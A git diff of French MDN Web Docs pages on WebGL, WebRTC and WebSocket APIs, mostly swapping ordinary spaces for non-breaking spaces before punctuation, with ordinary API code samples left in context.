@@ Les méthodes **`WebGLRenderingContext.uniform[1234][fi][v]()`** de l'[API WebG ### Paramètres - emplacement - - : Un objet {{domxref("WebGLUniformLocation")}} contenant l'emplacement de l'attribut uniform à modifier. + - : Un objet {{domxref("WebGLUniformLocation")}} contenant l'emplacement de l'attribut uniform à modifier. - `valeur, v0, v1, v2, v3` - - : La nouvelle valeur à utiliser pour la variable uniform. Types possibles : + - : La nouvelle valeur à utiliser pour la variable uniform. Types possibles : - - Un {{jsxref("Number")}} flottant pour les valeurs flottantes (méthodes avec "f"). - - Une suite de nombres flottants (par exemple, un {{jsxref("Float32Array")}} ou un {{jsxref("Array")}} de nombres) pour les méthodes de vecteurs de flottants (méthodes avec "fv"). - - Un {{jsxref("Number")}} entier pour les valeurs entières (méthodes avec "i"). - - Un {{jsxref("int32Array")}} pour les méthodes de vecteur d'entiers (méthodes avec "iv"). + - Un {{jsxref("Number")}} flottant pour les valeurs flottantes (méthodes avec "f"). + - Une suite de nombres flottants (par exemple, un {{jsxref("Float32Array")}} ou un {{jsxref("Array")}} de nombres) pour les méthodes de vecteurs de flottants (méthodes avec "fv"). + - Un {{jsxref("Number")}} entier pour les valeurs entières (méthodes avec "i"). + - Un {{jsxref("int32Array")}} pour les méthodes de vecteur d'entiers (méthodes avec "iv"). ### Valeur retournée diff --git a/files/fr/web/api/webglrenderingcontext/uniformmatrix/index.md b/files/fr/web/api/webglrenderingcontext/uniformmatrix/index.md index 7b3c46bc01..6193468153 100644 --- a/files/fr/web/api/webglrenderingcontext/uniformmatrix/index.md +++ b/files/fr/web/api/webglrenderingcontext/uniformmatrix/index.md @@ -31,11 +31,11 @@ Les trois versions de cette méthode (`uniformMatrix2fv()`, `uniformMatrix3fv()` ### Paramètres - `emplacement` - - : Un objet {{domxref("WebGLUniformLocation")}} contenant l'emplacement de l'attribut uniform à modifier. L'emplacement est obtenu en utilisant {{domxref("WebGLRenderingContext.getAttribLocation", "getAttribLocation()")}}. + - : Un objet {{domxref("WebGLUniformLocation")}} contenant l'emplacement de l'attribut uniform à modifier. L'emplacement est obtenu en utilisant {{domxref("WebGLRenderingContext.getAttribLocation", "getAttribLocation()")}}. - `transposer` - - : Un {{domxref("GLboolean")}} indiquant si la matrice doit être transposée. Doit être `false`. + - : Un {{domxref("GLboolean")}} indiquant si la matrice doit être transposée. Doit être `false`. - `valeur` - - : Un {{jsxref("Float32Array")}} ou une suite de valeurs `GLfloat`. + - : Un {{jsxref("Float32Array")}} ou une suite de valeurs `GLfloat`. ### Valeur retournée @@ -80,4 +80,4 @@ gl.uniformMatrix2fv(loc, false, [2.1, 2.2]); ## Voir aussi - {{domxref("WebGLRenderingContext.uniform()")}} -- {{domxref("WebGL2RenderingContext.uniformMatrix()")}} – versions WebGL 2 de ces méthodes. +- {{domxref("WebGL2RenderingContext.uniformMatrix()")}} – versions WebGL 2 de ces méthodes. diff --git a/files/fr/web/api/webglrenderingcontext/useprogram/index.md b/files/fr/web/api/webglrenderingcontext/useprogram/index.md index 5c9c37bf30..84af6755f8 100644 --- a/files/fr/web/api/webglrenderingcontext/useprogram/index.md +++ b/files/fr/web/api/webglrenderingcontext/useprogram/index.md @@ -20,7 +20,7 @@ La méthode **`WebGLRenderingContext.useProgram()`** de l'[API WebGL](/fr-FR/doc ### Paramètres - programme - - : Un {{domxref("WebGLProgram")}} à utiliser. + - : Un {{domxref("WebGLProgram")}} à utiliser. ### Valeur retournée diff --git a/files/fr/web/api/webglrenderingcontext/vertexattribpointer/index.md b/files/fr/web/api/webglrenderingcontext/vertexattribpointer/index.md index 67b5679fe0..c284555148 100644 --- a/files/fr/web/api/webglrenderingcontext/vertexattribpointer/index.md +++ b/files/fr/web/api/webglrenderingcontext/vertexattribpointer/index.md @@ -25,29 +25,29 @@ La méthode **`WebGLRenderingContext.vertexAttribPointer()`** de l'[API WebGL](/ - : Un {{domxref("GLint")}} indiquant le nombre de composantes par attribut de sommet. Doit être 1, 2, 3 ou 4. - `type` - - : Un {{domxref ("GLenum")}} spécifiant le type de données de chaque composante dans le tableau. Valeurs possibles : + - : Un {{domxref ("GLenum")}} spécifiant le type de données de chaque composante dans le tableau. Valeurs possibles : - `gl.BYTE` : entier signé sur 8 bits, à valeurs dans \[-128, 127] - `gl.SHORT` : entier signé sur 16 bits, à valeurs dans \[-32768, 32767] - `gl.UNSIGNED_BYTE` : entier non signé sur 8 bits, à valeurs dans \[0, 255] - `gl.UNSIGNED_SHORT` : entier non signé sur 16 bits, à valeurs dans \[0, 65535] - `gl.FLOAT` : nombre flottant IEEE 32 bits - - lors de l'utilisation d'un {{domxref("WebGL2RenderingContext", "WebGL context 2", "", 1)}}, la valeur suivante est en outre disponible : + - lors de l'utilisation d'un {{domxref("WebGL2RenderingContext", "WebGL context 2", "", 1)}}, la valeur suivante est en outre disponible : - - `gl.HALF_FLOAT` : nombre flottant IEEE 16 bits + - `gl.HALF_FLOAT` : nombre flottant IEEE 16 bits - `normalise` - - : Un {{domxref("GLboolean")}} indiquant si les valeurs des données entières doivent être normalisées dans une certaine plage lorsqu'elles sont converties en flottant. + - : Un {{domxref("GLboolean")}} indiquant si les valeurs des données entières doivent être normalisées dans une certaine plage lorsqu'elles sont converties en flottant. - Pour les types `gl.BYTE` et `gl.SHORT`, normalise les valeurs à \[-1, 1] si `true`. - Pour les types `gl.UNSIGNED_BYTE` et `gl.UNSIGNED_SHORT`, normalise les valeurs à \[0, 1] si `true`. - Pour les types `gl.FLOAT` et `gl.HALF_FLOAT`, ce paramètre est sans effet. - `pas` - - : Un {{domxref ("GLsizei")}} spécifiant le décalage en octets entre le début des attributs de sommets consécutifs. Ne peut être supérieur à 255. Si la valeur de `pas` est 0, l'attribut est supposé être étroitement compacté, c'est-à-dire que les attributs ne sont pas entrelacés mais que chaque attribut se trouve dans un bloc distinct et que l'attribut du sommet suivant suit immédiatement le sommet en cours. + - : Un {{domxref ("GLsizei")}} spécifiant le décalage en octets entre le début des attributs de sommets consécutifs. Ne peut être supérieur à 255. Si la valeur de `pas` est 0, l'attribut est supposé être étroitement compacté, c'est-à-dire que les attributs ne sont pas entrelacés mais que chaque attribut se trouve dans un bloc distinct et que l'attribut du sommet suivant suit immédiatement le sommet en cours. - `decalage` - - : Un {{domxref ("GLintptr")}} spécifiant le décalage en octets de la première composante dans le tableau d'attributs de sommets. Doit être un multiple de `type`. + - : Un {{domxref ("GLintptr")}} spécifiant le décalage en octets de la première composante dans le tableau d'attributs de sommets. Doit être un multiple de `type`. ### Valeur retournée @@ -55,26 +55,26 @@ Aucune. ### Exceptions -- Une erreur `gl.INVALID_VALUE` est déclenchée si `decalage` est négatif. -- Une erreur `gl.INVALID_OPERATION` est déclenchée si `pas` et `decalage` ne sont pas des multiples de la taille du type de données. -- Une erreur `gl.INVALID_OPERATION` est déclenchée si aucun WebGLBuffer n'est lié à la cible ARRAY_BUFFER. -- Lors de l'utilisation d'un {{domxref("WebGL2RenderingContext", "WebGL 2 context", "", 1)}}, une erreur `gl.INVALID_OPERATION` est déclenchée si l'attribut du sommet est défini comme entier dans le shader de sommet (par ex., `uvec4` or `ivec4`, iau lieu de `vec4`). +- Une erreur `gl.INVALID_VALUE` est déclenchée si `decalage` est négatif. +- Une erreur `gl.INVALID_OPERATION` est déclenchée si `pas` et `decalage` ne sont pas des multiples de la taille du type de données. +- Une erreur `gl.INVALID_OPERATION` est déclenchée si aucun WebGLBuffer n'est lié à la cible ARRAY_BUFFER. +- Lors de l'utilisation d'un {{domxref("WebGL2RenderingContext", "WebGL 2 context", "", 1)}}, une erreur `gl.INVALID_OPERATION` est déclenchée si l'attribut du sommet est défini comme entier dans le shader de sommet (par ex., `uvec4` or `ivec4`, iau lieu de `vec4`). ## Description -Supposons que nous voulions afficher une géométrie 3D, et que pour cela, nous ayons besoin de fournir nos sommets au Shader de Sommet. Chaque sommet a un certain nombre d'attributs, tels que la position, le vecteur normal ou les coordonnées de texture, qui sont définis dans un {{jsxref("ArrayBuffer")}} et qui seront fournis à l'Objet de Tampon de Sommets (OTS). Grâce à cette méthode `gl.vertexAttribPointer()`, nous spécifions dans quel ordre les attributs sont stockés, et quel est leur type de données. De plus, nous devons inclure le pas, qui est la longueur totale en octets de tous les attributs pour un sommet. Également, nous devons appeler {{domxref("WebGLRenderingContext/enableVertexAttribArray", "gl.enableVertexAttribArray()")}} pour indiquer à WebGL que cet attribut doit être rempli avec les données de notre tampon de tableaux. +Supposons que nous voulions afficher une géométrie 3D, et que pour cela, nous ayons besoin de fournir nos sommets au Shader de Sommet. Chaque sommet a un certain nombre d'attributs, tels que la position, le vecteur normal ou les coordonnées de texture, qui sont définis dans un {{jsxref("ArrayBuffer")}} et qui seront fournis à l'Objet de Tampon de Sommets (OTS). Grâce à cette méthode `gl.vertexAttribPointer()`, nous spécifions dans quel ordre les attributs sont stockés, et quel est leur type de données. De plus, nous devons inclure le pas, qui est la longueur totale en octets de tous les attributs pour un sommet. Également, nous devons appeler {{domxref("WebGLRenderingContext/enableVertexAttribArray", "gl.enableVertexAttribArray()")}} pour indiquer à WebGL que cet attribut doit être rempli avec les données de notre tampon de tableaux. -Habituellement, votre géométrie 3D se trouve déjà dans un certain format binaire, de sorte que vous devez lire la spécification de ce format particulier pour comprendre la disposition en mémoire. Cependant, si vous concevez le format vous-même, ou si votre géométrie se trouve dans des fichiers texte (comme les fichiers Wavefront .obj) et doit être convertie en `ArrayBuffer` à l'exécution, vous êtes libre de choisir comment structurer la mémoire. Pour des performances optimales, entrelacez les attributs et utilisez le plus petit type de données représentant néanmoins fidèlement votre géométrie. +Habituellement, votre géométrie 3D se trouve déjà dans un certain format binaire, de sorte que vous devez lire la spécification de ce format particulier pour comprendre la disposition en mémoire. Cependant, si vous concevez le format vous-même, ou si votre géométrie se trouve dans des fichiers texte (comme les fichiers Wavefront .obj) et doit être convertie en `ArrayBuffer` à l'exécution, vous êtes libre de choisir comment structurer la mémoire. Pour des performances optimales, entrelacez les attributs et utilisez le plus petit type de données représentant néanmoins fidèlement votre géométrie. Le nombre maximum d'attributs de vertex dépend de la carte graphique, et vous pouvez appeler `gl.getParameter(gl.MAX_VERTEX_ATTRIBS)` pour obtenir cette valeur. Sur les cartes graphiques haut de gamme, le maximum est de 16, sur les cartes graphiques de bas de gamme, la valeur sera inférieure. ### Indice d'attribut -Pour chaque attribut, vous devez spécifier son indice. Cela est indépendant de l'emplacement à l'intérieur de la mémoire tampon de tableaux, de sorte que vos attributs peuvent être envoyés dans un ordre différent de celui dans lequel ils sont stockés dans le tampon de tableaux. Vous avez deux options : +Pour chaque attribut, vous devez spécifier son indice. Cela est indépendant de l'emplacement à l'intérieur de la mémoire tampon de tableaux, de sorte que vos attributs peuvent être envoyés dans un ordre différent de celui dans lequel ils sont stockés dans le tampon de tableaux. Vous avez deux options : - Soit vous spécifiez l'index vous-même. Dans ce cas, vous appelerez {{domxref("WebGLRenderingContext.bindAttribLocation()", "gl.bindAttribLocation()")}} pour connecter un attribut nommé du shader de sommet à l'index que vous voulez utiliser. Cela doit être fait avant d'appeler {{domxref("WebGLRenderingContext.linkProgram()", "gl.linkProgram()")}}. Vous pouvez alors fournir ce même index à `gl.vertexAttribPointer()`. - En variante, vous pouvez utiliser l'index affecté par la carte graphique lors de la compilation du shader de sommet. Suivant la carte graphique, l'index varie, aussi devrez-vous appeler {{domxref("WebGLRenderingContext.getAttribLocation()", "gl.getAttribLocation()")}} pour trouver l'index, puis le fournir à `gl.vertexAttribPointer()`. - Si vous utilisez WebGL 2, vous pouvez spécifier l'index vous-même dans le code du shader de sommet et remplacer la valeur par défaut utilisée par la carte graphique, par ex. `layout(location = 3) in vec4 position;` définirait l'attribut `"position"` à l'indice 3. + Si vous utilisez WebGL 2, vous pouvez spécifier l'index vous-même dans le code du shader de sommet et remplacer la valeur par défaut utilisée par la carte graphique, par ex. `layout(location = 3) in vec4 position;` définirait l'attribut `"position"` à l'indice 3. ### Attributs entiers @@ -84,19 +84,19 @@ Bien que le `ArrayBuffer` puisse être rempli à la fois d'entiers et de flottan Le code de vertex shader peut inclure un certain nombre d'attributs, mais nous n'avons pas besoin de spécifier les valeurs pour chaque attribut. A la place, nous pouvons fournir une valeur par défaut qui sera identique pour tous les sommets. Nous pouvons appeler `{{domxref("WebGLRenderingContext.disableVertexAttribArray()", "gl.disableVertexAttribArray()")}}` pour indiquer à WebGL d'utiliser la valeur par défaut, tandis que l'appel à {{domxref("WebGLRenderingContext.enableVertexAttribArray ()", "gl.enableVertexAttribArray () ")}} lira les valeurs du buffer du tableau comme spécifié avec `gl.vertexAttribPointer()`. -De façon similaire, si notre shader de sommet attend par ex. un attribut à 4 composantes avec `vec4`, mais que dans notre appel à `gl.vertexAttribPointer()`, nous définissons la taille à 2, alors WebGL définira les deux premières composantes en se basant sur le tampon des tableaux, tandis que les troisième et quatrième composantes prendront la valeur par défaut. +De façon similaire, si notre shader de sommet attend par ex. un attribut à 4 composantes avec `vec4`, mais que dans notre appel à `gl.vertexAttribPointer()`, nous définissons la taille à 2, alors WebGL définira les deux premières composantes en se basant sur le tampon des tableaux, tandis que les troisième et quatrième composantes prendront la valeur par défaut. La valeur par défaut est `vec4(0.0, 0.0, 0.0, 1.0)` par défaut, mais nous pouvons spécifier une valeur par défaut différente avec `{{domxref ("WebGLRenderingContext.vertexAttrib()", "gl.vertexAttrib[1234]f[v]()")}}`. -Par exemple, votre shader de sommet peut utiliser une position et un attribut de couleur. La plupart des maillages ont leur couleur spécifiée au niveau des sommets, mais certains maillages ont une teinte uniforme. Pour ces maillages, il n'est pas nécessaire de définir la même couleur pour chaque sommet dans le tampon des tableaux, aussi vous utiliserez `gl.vertexAttrib4fv()` pour définir une couleur constante. +Par exemple, votre shader de sommet peut utiliser une position et un attribut de couleur. La plupart des maillages ont leur couleur spécifiée au niveau des sommets, mais certains maillages ont une teinte uniforme. Pour ces maillages, il n'est pas nécessaire de définir la même couleur pour chaque sommet dans le tampon des tableaux, aussi vous utiliserez `gl.vertexAttrib4fv()` pour définir une couleur constante. -### Interrogation des paramètres en cours +### Interrogation des paramètres en cours Vous pouvez appeler {{domxref ("WebGLRenderingContext.getVertexAttrib()", "gl.getVertexAttrib()")}} et {{domxref ("WebGLRenderingContext.getVertexAttribOffset()", "gl.getVertexAttribOffset()")}} pour obtenir les paramètres en cours d'un attribut, par ex., le type de données ou si l'attribut doit être normalisé. Gardez présent à l'esprit que ces fonctions WebGL ont des performances faibles et qu'il est préférable de stocker l'état dans votre application JavaScript. Cependant, ces fonctions sont idéales pour déboguer un contexte WebGL sans toucher au code de l'application. ## Exemples -Cet exemple montre comment envoyer vos attributs de sommet au programme shader. Nous utilisons une structure de données imaginaire, dans laquelle les attributs de chaque sommet sont stockés entrelacés avec une longueur de 20 octets par sommet : +Cet exemple montre comment envoyer vos attributs de sommet au programme shader. Nous utilisons une structure de données imaginaire, dans laquelle les attributs de chaque sommet sont stockés entrelacés avec une longueur de 20 octets par sommet : 1. **position :** nous devons stocker les coordonnées X, Y et Z. Pour une précision maximale, nous utilisons des flottants 32 bits ; au total, cela utilise 12 octets ; 2. **vecteur normal :** nous avons besoin de stocker les composantes X, Y et Z du vecteur normal, mais comme la précision n'est pas si importante que cela, nous utilisons des entiers signés sur 8 bits. Pour de meilleures performances, nous alignons les données sur 32 bits en stockant également une quatrième composante de valeur zéro, ce qui porte la taille totale à 4 octets. Également, nous indiquons à WebGL de normaliser les valeurs, car nos normales sont toujours dans la plage \[-1, 1] ; @@ -163,9 +163,9 @@ const response = await fetch('assets/geometry.bin'); const tampon = await response.arrayBuffer(); ``` -### Utiliser le tampon de tableaux avec WebGL +### Utiliser le tampon de tableaux avec WebGL -Tout d'abord, nous créons un nouvel Objet Tampon de Sommets (OTS) et nous l'alimentons avec notre tampon de tableaux : +Tout d'abord, nous créons un nouvel Objet Tampon de Sommets (OTS) et nous l'alimentons avec notre tampon de tableaux : ```js // Lier le tampon de tableaux à l'Objet Tampon de Sommets @@ -174,7 +174,7 @@ gl.bindBuffer(gl.ARRAY_BUFFER, ots); gl.bufferData(gl.ARRAY_BUFFER, buffer, gl.STATIC_DRAW); ``` -Ensuite, nous spécifions la disposition en mémoire du tampon de tableaux, soit en définissant nous-mêmes l'indice : +Ensuite, nous spécifions la disposition en mémoire du tampon de tableaux, soit en définissant nous-mêmes l'indice : ```js // Décrire la disposition du tampon : @@ -197,7 +197,7 @@ gl.bindAttribLocation(shaderProgram, 2, 'texUV'); gl.linkProgram(shaderProgram); ``` -soit en utilisant l'indice fourni par la carte graphique, au lieu de le définir nous-mêmes ; cela évite la réédition des liens du programme shader. +soit en utilisant l'indice fourni par la carte graphique, au lieu de le définir nous-mêmes ; cela évite la réédition des liens du programme shader. ```js const positionLoc = gl.getAttribLocation(shaderProgram, 'position'); @@ -245,4 +245,4 @@ gl.enableVertexAttribArray(texUVLoc); ## Voir aussi -- [Vertex Specification](https://www.khronos.org/opengl/wiki/Vertex_Specification) sur le wiki OpenGL +- [Vertex Specification](https://www.khronos.org/opengl/wiki/Vertex_Specification) sur le wiki OpenGL diff --git a/files/fr/web/api/webglrenderingcontext/viewport/index.md b/files/fr/web/api/webglrenderingcontext/viewport/index.md index beed6333a7..64ae294ac9 100644 --- a/files/fr/web/api/webglrenderingcontext/viewport/index.md +++ b/files/fr/web/api/webglrenderingcontext/viewport/index.md @@ -11,7 +11,7 @@ translation_of: Web/API/WebGLRenderingContext/viewport --- {{APIRef("WebGL")}} -La méthode **`WebGLRenderingContext.viewport()`** de l'[API WebGL](/fr-FR/docs/Web/API/WebGL_API) définit le viewport, qui indique la transformation affine de x et de y, de coordonnées d'appareil normalisées en coordonnées de fenêtre. +La méthode **`WebGLRenderingContext.viewport()`** de l'[API WebGL](/fr-FR/docs/Web/API/WebGL_API) définit le viewport, qui indique la transformation affine de x et de y, de coordonnées d'appareil normalisées en coordonnées de fenêtre. ## Syntaxe @@ -20,13 +20,13 @@ La méthode **`WebGLRenderingContext.viewport()`** de l'[API WebGL](/fr-FR/doc ### Paramètres - `x` - - : Un {{domxref("GLint")}} indiquant la coordonnée horizontale du coin inférieur gauche de l'origine du viewport. Valeur par défaut : 0. + - : Un {{domxref("GLint")}} indiquant la coordonnée horizontale du coin inférieur gauche de l'origine du viewport. Valeur par défaut : 0. - `y` - - : Un {{domxref("GLint")}} indiquant la coordonnée verticale du coin inférieur gauche de l'origine du viewport. Valeur par défaut : 0. + - : Un {{domxref("GLint")}} indiquant la coordonnée verticale du coin inférieur gauche de l'origine du viewport. Valeur par défaut : 0. - largeur - - : Un {{domxref("Glsizei")}} non négatif indiquant la largeur du viewport. Valeur par défaut : la largeur du canevas. + - : Un {{domxref("Glsizei")}} non négatif indiquant la largeur du viewport. Valeur par défaut : la largeur du canevas. - height - - : Un {{domxref("Glsizei")}} non négatif indiquant la hauteur du viewport. Valeur par défaut : la hauteur du canevas. + - : Un {{domxref("Glsizei")}} non négatif indiquant la hauteur du viewport. Valeur par défaut : la hauteur du canevas. ### Valeur retournée @@ -34,7 +34,7 @@ Aucune. ### Erreurs déclenchées -Si *largeur* ou *hauteur* est une valeur négative, une erreur `gl.INVALID_VALUE` est déclenchée. +Si *largeur* ou *hauteur* est une valeur négative, une erreur `gl.INVALID_VALUE` est déclenchée. ## Exemples @@ -51,7 +51,7 @@ gl.getParameter(gl.MAX_VIEWPORT_DIMS); // Par ex., Int32Array[16384, 16384] ``` -Pour obtenir le viewport en cours, faites une requête sur la constante `VIEWPORT`. +Pour obtenir le viewport en cours, faites une requête sur la constante `VIEWPORT`. ```js gl.getParameter(gl.VIEWPORT); diff --git a/files/fr/web/api/webglshader/index.md b/files/fr/web/api/webglshader/index.md index 291bdcf503..99b31cc20b 100644 --- a/files/fr/web/api/webglshader/index.md +++ b/files/fr/web/api/webglshader/index.md @@ -9,11 +9,11 @@ translation_of: Web/API/WebGLShader --- {{APIRef("WebGL")}} -Le **WebGLShader** fait partie de l'[API WebGL](/fr-FR/docs/Web/API/WebGL_API) et peut être un shader de sommet ou de fragment. Un {{domxref ("WebGLProgram")}} requiert les deux types de shaders. +Le **WebGLShader** fait partie de l'[API WebGL](/fr-FR/docs/Web/API/WebGL_API) et peut être un shader de sommet ou de fragment. Un {{domxref ("WebGLProgram")}} requiert les deux types de shaders. ## Description -Pour créer un **WebGLShader,** utiliser {{domxref("WebGLRenderingContext.createShader")}}, puis reliez-y le code source GLSL en utilisant {{domxref("WebGLRenderingContext.shaderSource()")}}, et enfin, appelez {{domxref ("WebGLRenderingContext.compileShader()")}} pour terminer et compiler le shader. À ce stade, le WebGLShader n'est toujours pas sous une forme utilisable et doit toujours être relié à un {{domxref ("WebGLProgram")}}. +Pour créer un **WebGLShader,** utiliser {{domxref("WebGLRenderingContext.createShader")}}, puis reliez-y le code source GLSL en utilisant {{domxref("WebGLRenderingContext.shaderSource()")}}, et enfin, appelez {{domxref ("WebGLRenderingContext.compileShader()")}} pour terminer et compiler le shader. À ce stade, le WebGLShader n'est toujours pas sous une forme utilisable et doit toujours être relié à un {{domxref ("WebGLProgram")}}. ```js function creerShader (gl, codeSource, type) { @@ -30,13 +30,13 @@ function creerShader (gl, codeSource, type) { } ``` -Voir {{domxref("WebGLProgram")}} pour des informations sur la liaison de shaders. +Voir {{domxref("WebGLProgram")}} pour des informations sur la liaison de shaders. ## Exemples -### Création d'un shader de sommet +### Création d'un shader de sommet -Notez qu'il existe de nombreuses autres stratégies pour écrire des chaînes de code source de shader et y accéder. Ces exemples sont à titre d'illustration seulement. +Notez qu'il existe de nombreuses autres stratégies pour écrire des chaînes de code source de shader et y accéder. Ces exemples sont à titre d'illustration seulement. ```js var sourceShaderDeSommet = @@ -49,7 +49,7 @@ var sourceShaderDeSommet = var shaderDeSommet = creerShader(gl, sourceShaderDeSommet, gl.VERTEX_SHADER) ``` -### Création d'un shader de fragment +### Création d'un shader de fragment ```js var sourceShaderDeFragment = diff --git a/files/fr/web/api/webrtc_api/signaling_and_video_calling/index.md b/files/fr/web/api/webrtc_api/signaling_and_video_calling/index.md index 938107b7b0..8bb0cb8bf6 100644 --- a/files/fr/web/api/webrtc_api/signaling_and_video_calling/index.md +++ b/files/fr/web/api/webrtc_api/signaling_and_video_calling/index.md @@ -7,15 +7,15 @@ translation_of: Web/API/WebRTC_API/Signaling_and_video_calling translation_of_original: Web/API/WebRTC_API/WebRTC_basics original_slug: Web/Guide/API/WebRTC/WebRTC_basics --- -Maintenant que vous comprenez l'[architecture WebRTC](/fr/docs/Web/Guide/API/WebRTC/WebRTC_architecture), vous pouvez passer à cet article, qui vous emmène à travers la création d'une application RTC multi-navigateurs.A la fin de cet article vous devriez pouvoir créer un canal de données et de médias pair à pair qui fonctionne +Maintenant que vous comprenez l'[architecture WebRTC](/fr/docs/Web/Guide/API/WebRTC/WebRTC_architecture), vous pouvez passer à cet article, qui vous emmène à travers la création d'une application RTC multi-navigateurs.A la fin de cet article vous devriez pouvoir créer un canal de données et de médias pair à pair qui fonctionne -## Contenu semi-ancien, à partir de RTCPeerConnection +## Contenu semi-ancien, à partir de RTCPeerConnection -Les informations ci-dessous proviennent de RTCPeerConnection; elles pourraient rester ici, comme aller ailleurs. Mais elles ne font pas partie de cette page. Alors pendant que je trie cette page, elles seront ici, jusqu'à ce que je sache où elles appartiennent pour de vrai. +Les informations ci-dessous proviennent de RTCPeerConnection; elles pourraient rester ici, comme aller ailleurs. Mais elles ne font pas partie de cette page. Alors pendant que je trie cette page, elles seront ici, jusqu'à ce que je sache où elles appartiennent pour de vrai. ## Usage basique -l'utilisation de RTCPeerConnection implique la négociation d'une connexion entre votre machine et une machine distante,et ce, en générant {{interwiki("wikipedia", "Session Description Protocol")}} a échanger entre les deux. L'appelant commence le processus en envoyant une offre à l'appareil distant, qui répond par l'acceptation ou le rejet de la demande de connexion. +l'utilisation de RTCPeerConnection implique la négociation d'une connexion entre votre machine et une machine distante,et ce, en générant {{interwiki("wikipedia", "Session Description Protocol")}} a échanger entre les deux. L'appelant commence le processus en envoyant une offre à l'appareil distant, qui répond par l'acceptation ou le rejet de la demande de connexion. Les deux parties (l'appelant et l'appelé) doivent mettre en place leurs propres instances de RTCPeerConnection pour représenter leurs extrémités de la connexion peer-to-peer: @@ -42,9 +42,9 @@ function error(err) { } ``` -**Initialiser un appel** +**Initialiser un appel** -l'appelant doit utiliser {{domxref("navigator.getUserMedia()")}} pour obtenir un flux vidéo, puis ajouter ce flux à l'instance de RTCPeerConnection. Une fois que cela a été fait, il doit appeler {{domxref("RTCPeerConnection.createOffer()")}} pour créer une offre,puis la configurer et l'envoyer a un serveur faisant office d'intermediaire. +l'appelant doit utiliser {{domxref("navigator.getUserMedia()")}} pour obtenir un flux vidéo, puis ajouter ce flux à l'instance de RTCPeerConnection. Une fois que cela a été fait, il doit appeler {{domxref("RTCPeerConnection.createOffer()")}} pour créer une offre,puis la configurer et l'envoyer a un serveur faisant office d'intermediaire. ```js // recuperer la liste des "amis" a partir du serveur @@ -65,9 +65,9 @@ navigator.getUserMedia({video: true}, function(stream) { **Répondre à un appel** -sur l'autre machine, l'ami recevra l'offre à partir du serveur en utilisant le protocole approprié (définit par le serveur). Une fois que l'offre arrive,{{domxref("navigator.getUserMedia()")}} est une fois de plus appelée pour créer le second flux, qui est ajouté à la RTCPeerConnection. Un objet {{domxref("RTCSessionDescription")}} est créé, et mis en place comme la description du distant en appelant {{domxref("RTCPeerConnection.setRemoteDescription()")}}. +sur l'autre machine, l'ami recevra l'offre à partir du serveur en utilisant le protocole approprié (définit par le serveur). Une fois que l'offre arrive,{{domxref("navigator.getUserMedia()")}} est une fois de plus appelée pour créer le second flux, qui est ajouté à la RTCPeerConnection. Un objet {{domxref("RTCSessionDescription")}} est créé, et mis en place comme la description du distant en appelant {{domxref("RTCPeerConnection.setRemoteDescription()")}}. -Ensuite, une réponse est créée en utilisant {{domxref("RTCPeerConnection.createAnswer()")}} et renvoyé au serveur, qui la transmet à l'appelant. +Ensuite, une réponse est créée en utilisant {{domxref("RTCPeerConnection.createAnswer()")}} et renvoyé au serveur, qui la transmet à l'appelant. ```js var offer = getOfferFromFriend(); @@ -87,7 +87,7 @@ navigator.getUserMedia({video: true}, function(stream) { **Gestion de la réponse** -retour a la première machine, qui recois la reponse. une fois cette dernière arrivée,l'appelant utilise {{domxref("RTCPeerConnection.setRemoteDescription()")}} pour définir la réponse comme la description de l'autre l'extrémité de la connexion. +retour a la première machine, qui recois la reponse. une fois cette dernière arrivée,l'appelant utilise {{domxref("RTCPeerConnection.setRemoteDescription()")}} pour définir la réponse comme la description de l'autre l'extrémité de la connexion. ```js // pc a été déclaré précédemment, lors de l'envoi de l'offre. @@ -99,7 +99,7 @@ pc.setRemoteDescription(new RTCSessionDescription(offer), function() { }, error) Tout ce qui est en dessous de ce point est potentiellement obsolète. Il est toujours là en attente d'examen et d'intégration possible dans d'autres parties de la documentation où il serait encore valides. -> **Note :** Ne pas utiliser les examples de cette page. Voir l'article [signalisation et appel vidéo](/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling) ,pour des example mis a jour sur l'utilisation des medias WebRTC. +> **Note :** Ne pas utiliser les examples de cette page. Voir l'article [signalisation et appel vidéo](/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling) ,pour des example mis a jour sur l'utilisation des medias WebRTC. ## Note diff --git a/files/fr/web/api/webrtc_api/taking_still_photos/index.md b/files/fr/web/api/webrtc_api/taking_still_photos/index.md index 95aca76612..485e6f8821 100644 --- a/files/fr/web/api/webrtc_api/taking_still_photos/index.md +++ b/files/fr/web/api/webrtc_api/taking_still_photos/index.md @@ -182,7 +182,7 @@ Maintenant nous devons capturer la photo en utilisant le canvas. Nous assignons }, false); ``` -Dans cette fonction nous re-assignons la taille du canvas à la taille de la vidéo, ce qui l'efface, et nous obtenons une image de la vidéo que nous copions sur le canvas. Ensuite nous devons transformer les données du canvas en une URI de données avec un entête PNG, et positionner l'attribut src de la photo à cette URL. +Dans cette fonction nous re-assignons la taille du canvas à la taille de la vidéo, ce qui l'efface, et nous obtenons une image de la vidéo que nous copions sur le canvas. Ensuite nous devons transformer les données du canvas en une URI de données avec un entête PNG, et positionner l'attribut src de la photo à cette URL. ```js function takepicture() { diff --git a/files/fr/web/api/websocket/binarytype/index.md b/files/fr/web/api/websocket/binarytype/index.md index 9cb18c285b..0a66848f48 100644 --- a/files/fr/web/api/websocket/binarytype/index.md +++ b/files/fr/web/api/websocket/binarytype/index.md @@ -15,7 +15,7 @@ var binaryType = aWebSocket.binaryType; ## Valeur -Une chaîne de caractères [`DOMString`](/fr/docs/Web/API/DOMString) ayant l'une de ces deux valeurs : +Une chaîne de caractères [`DOMString`](/fr/docs/Web/API/DOMString) ayant l'une de ces deux valeurs : - `"blob"` - : Utilise des objets [`Blob`](/fr/docs/Web/API/Blob) pour les données binaires. Il s'agit de la valeur par défaut. diff --git a/files/fr/web/api/websockets_api/index.md b/files/fr/web/api/websockets_api/index.md index e82c924000..d8cc4685f7 100644 --- a/files/fr/web/api/websockets_api/index.md +++ b/files/fr/web/api/websockets_api/index.md @@ -21,14 +21,14 @@ L'**API WebSocket** est une technologie évoluée qui permet d'ouvrir un canal d > **Note :** Bien que les connexions WebSocket soient fonctionnellement similaires aux sockets standard de type Unix, elles ne sont pas liées. -## Interfaces +## Interfaces - [`WebSocket`](/fr/docs/WebSockets/Writing_WebSocket_client_applications) - - : Interface principale pour se connecter à un serveur WebSocket. Il permet d'envoyer et de recevoir des données sur la connexion. + - : Interface principale pour se connecter à un serveur WebSocket. Il permet d'envoyer et de recevoir des données sur la connexion. - [`CloseEvent`](/fr/docs/Web/API/CloseEvent) - - : Evénement envoyé par l'objet WebSocket lors de la fermeture de la connexion. + - : 